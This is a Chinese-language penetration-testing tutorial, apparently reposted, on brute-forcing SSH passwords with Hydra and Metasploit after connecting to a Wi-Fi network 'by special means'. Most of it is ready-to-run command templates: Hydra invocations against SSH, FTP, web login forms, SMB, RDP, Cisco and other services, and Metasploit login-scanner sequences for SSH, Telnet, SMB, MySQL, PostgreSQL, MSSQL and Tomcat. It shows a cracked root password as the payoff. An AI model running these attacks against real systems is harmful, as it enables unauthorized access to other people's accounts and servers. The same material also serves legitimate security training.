滲透實戰(周六):Hydra&Metasploit暴力破解SSH登錄口令


 

一. SSH服務開啟前基礎配置

1.1 修改配置文件📃

如下圖示:打開root/etc/ssh/sshd_config 目錄下文件

把# Port 22 修改為 Port 22  ,開啟22號端口

把# ListenAddress 0.0.0.0 修改為 ListenAddress 0.0.0.0  ,允許所有IP地址訪問22號端口

把# PermitRootLogin yes  修改為 PermitRootLogin yes    ,開通root用戶登錄權限,即root用戶可以通過SSH遠程登錄Kali

把# PasswordAuthentication yes 修改為 PasswordAuthentication yes   ,開通密碼驗證服務,使用SSH遠程登錄Kali時需要root用戶的密碼

1.2 在Kali界面開啟SSH 服務,然后將Kali放到后台運行

在Kali命令后窗口輸入 :service ssh start , 開啟SSH遠程登錄服務

在Kali命令后窗口輸入 :service ssh status , 查看SSH服務狀態 ,如圖示:running

在Kali命令后窗口輸入 :service ssh stop  ,關閉SSH服務

在Kali命令后窗口輸入: service ssh restart ,重啟SSH服務

在Kali命令后窗口輸入: update-rc.d SSH enable  ,開機自啟SSH服務

在Kali命令后窗口輸入: update-rc.d SSH disabled   ,關閉SSH服務開機自啟

1.3 使用SecureCRT軟件登錄Kali並進行管理操作

在MacBook Pro 桌面打開SecureCRT軟件 (點此下載 Mac&Win可選) 

開始創建新的Quick Connect連接 

填寫Kali的IP地址、端口號(SSH服務一般是22號端口)、用戶  

輸入root用戶的密碼,最后登錄成功

二. 暴力破解SSH登錄口令

假設我們通過特殊手段連入CMCC-yXz3 的Wi-Fi無線網絡 ,拓撲圖如下:

2.1使用nmap 掃描192.168.1.0/24網段,查看那台設備開啟SSH服務

下圖可知:

192.168.1.2 開放22號端口,開啟SSH服務,是一台Apple主機;

192.168.1.3 開放22號端口,開啟SSH服務,是一台基於Linux內核的Debian設備

我們推斷,192.168.1.3 極有可能是一台開放SSH服務的服務器,而192.168.1.2是通過SSH連接服務器的終端管理設備

首先,我們知道192.168.1.3極有可能是開放SSH服務的某類服務器,而我們需要知道其用戶名和登錄口令,從而獲取192.168.1.3的控制權

其次,我們采用Hydra"九頭蛇"暴力破解工具來達到目的,在Kali命令行界面輸入: hydra -h ,查看hydra幫助信息,如下圖👇 

現在,通過使用Hydra來爆破192.168.1.3的用戶名和登錄口令

Kali中自帶暴力破解字典,在/usr/share/wordlists/目錄下,可自行選取,技術大神也可自行編寫私人暴破字典!

當看到界面👇顯示 [22][ssh] host: 192.168.1.3 login: root password: toor,我們太開心了!

暴力破解:
 hydra(九頭蛇)
  參數:
    -R 繼續從上一次進度接着破解
    -S 大寫,采用SSL鏈接
    -s 小寫,可通過這個參數指定非默認端口
    -l 指定破解的用戶,對特定用戶破解
    -L 指定用戶名字典
    -p 小寫,指定密碼破解,少用,一般是采用密碼字典
    -P 大寫,指定密碼字典
    -e 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
    -C 使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數
    -M 指定目標列表文件一行一條
    -o 指定結果輸出文件
    -f 在使用-M參數以后,找到第一對登錄名或者密碼的時候中止破解
    -t 同時運行的線程數,默認為16
    -w 設置最大超時的時間,單位秒,默認是30s
    -v /-V顯示詳細過程
   
  各協議的具體命令:
    格式+示例:
    
1、破解ssh:     hydra -L 用戶名字典 -p 密碼字典 -t 線程 -vV -e ns ip ssh     hydra -l 用戶名 -p 密碼字典 -t 線程 -o save.log -vV ip ssh
    
2、破解ftp:     hydra ip ftp -L 用戶名字典 -P 密碼字典 -t 線程(默認16) -vV     hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
    
3、get方式提交,破解web登錄:     hydra -L 用戶名字典 -p 密碼字典 -t 線程 -vV -e ns ip http-get/admin/     hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get/admin/index.PHP
    
4、post方式提交,破解web登錄:     hydra --L 用戶名字典 -P 密碼字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"     hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"     參數說明:     -t同時線程數3,-l用戶名是admin,字典pass.txt,保存為out.txt,-f 當破解了一個密碼就停止,      10.36.16.18目標ip,http-post-form表示破解是采用http的post方式提交的表單密碼破解,<title>中的內容是表示錯誤猜解的返回信息提示
    
5、破解https:     hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https     6、破解teamspeak:     hydra -L 用戶名字典 -P 密碼字典 -s 端口號 -vV ip teamspeak       7、破解cisco:     hydra -P pass.txt 10.36.16.18 cisco     hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable       8、破解smb:     hydra -L 用戶名字典 -P pass.txt 10.36.16.18 smb       9、破解pop3:     hydra -l muts -P pass.txt my.pop3.mail pop3       10、破解rdp:     hydra ip rdp -l administrator -P pass.txt -V       11、破解http-proxy:     hydra -l admin -P pass.txt http-proxy://10.36.16.18

 2.2 使用Metasploit工具集中的小插件暴破SSH服務登錄口令

首先,開啟Metasploit,命令行以 "msf >"  開頭 

在命令行窗口輸入: search ssh ,查看與SSH相關的攻擊模塊 ,其中,我們需要的模塊:auxiliary/scanner/ssh/ssh_login 

其次,

在msf命令后界面輸入 :use auxiliary/scanner/ssh/ssh_login  ,調用SSH攻擊模塊

在msf命令后界面輸入 :show options  ,查看需要我們設置的參數  ,我們需要補充四點:目標主機IP地址、用戶名字典路徑、密碼字典路徑、線程數(即每秒跑幾個密碼)

在msf命令后界面輸入 :show options   ,查看設置正確與否,如圖👇

msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf auxiliary(scanner/ssh/ssh_login) > set user_file /usr/share/wordlists/ssh_username.txt
username_file => /usr/share/wordlists/ssh_username.txt
msf auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/ssh_password.txt
pass_file => /usr/share/wordlists/ssh_password.txt
msf auxiliary(scanner/ssh/ssh_login) > set threads 5
threads => 5

 

最后,在msf命令后界面輸入: run 發起攻擊 ,經過漫長等待⌛️,我們看到:[+] 192.168.1.3:22 - Success: 'root:toor' !

Kali Linux(Metasploit口令猜解模塊)

Metasploit口令猜解模塊——

SSH服務口令猜解:

msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模塊)

msf auxiliary(ssh_login) > show options (查看選項)

msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目標)

msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)

msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密碼字典文件)

msf auxiliary(ssh_login) > set THREADS 50(線程)

msf auxiliary(ssh_login) > exploit (開始)

 

Telnet口令猜解:

msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模塊)

msf auxiliary(telnet_login) > show options (查看選項)

msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目標)

msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)

msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密碼字典文件)

msf auxiliary(telnet_login) > exploit (開始)

 

Samba口令猜解:

msf > use auxiliary/scanner/smb/smb_login (使用smb_login模塊)

msf auxiliary(smb_login) > show options (查看選項)

msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目標)

msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)

msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密碼字典文件)

msf auxiliary(ssmb_login) > exploit(開始)

 

Mysql口令猜解:

msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模塊)

msf auxiliary(mysql_login) > show options (查看選項)

msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目標)

msf auxiliary(mysql_login) > set USERNAME root(用戶名字典,或指定用戶)

msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密碼字典文件)

msf auxiliary(mysql_login) > exploit(開始)

 

Postgresq口令猜解:

msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模塊)

msf auxiliary(postgres_login) > show options (查看選項)

msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目標)

msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)

msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密碼字典文件)

msf auxiliary(postgres_login) > exploit (開始)

 

Mssql口令猜解:

msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模塊)

msf auxiliary(mssql_login) > show options (查看選項)

msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目標)

msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶)

msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密碼字典文件)

msf auxiliary(mssql_login) > exploit(開始)

 

Tomcat口令猜解:

msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模塊)

msf auxiliary(tomcat_mgr_login) > show options(查看選項)

msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目標)

msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(用戶名字典,或指定用戶)

msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密碼字典文件)

msf auxiliary(tomcat_mgr_login) > exploit(開始)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM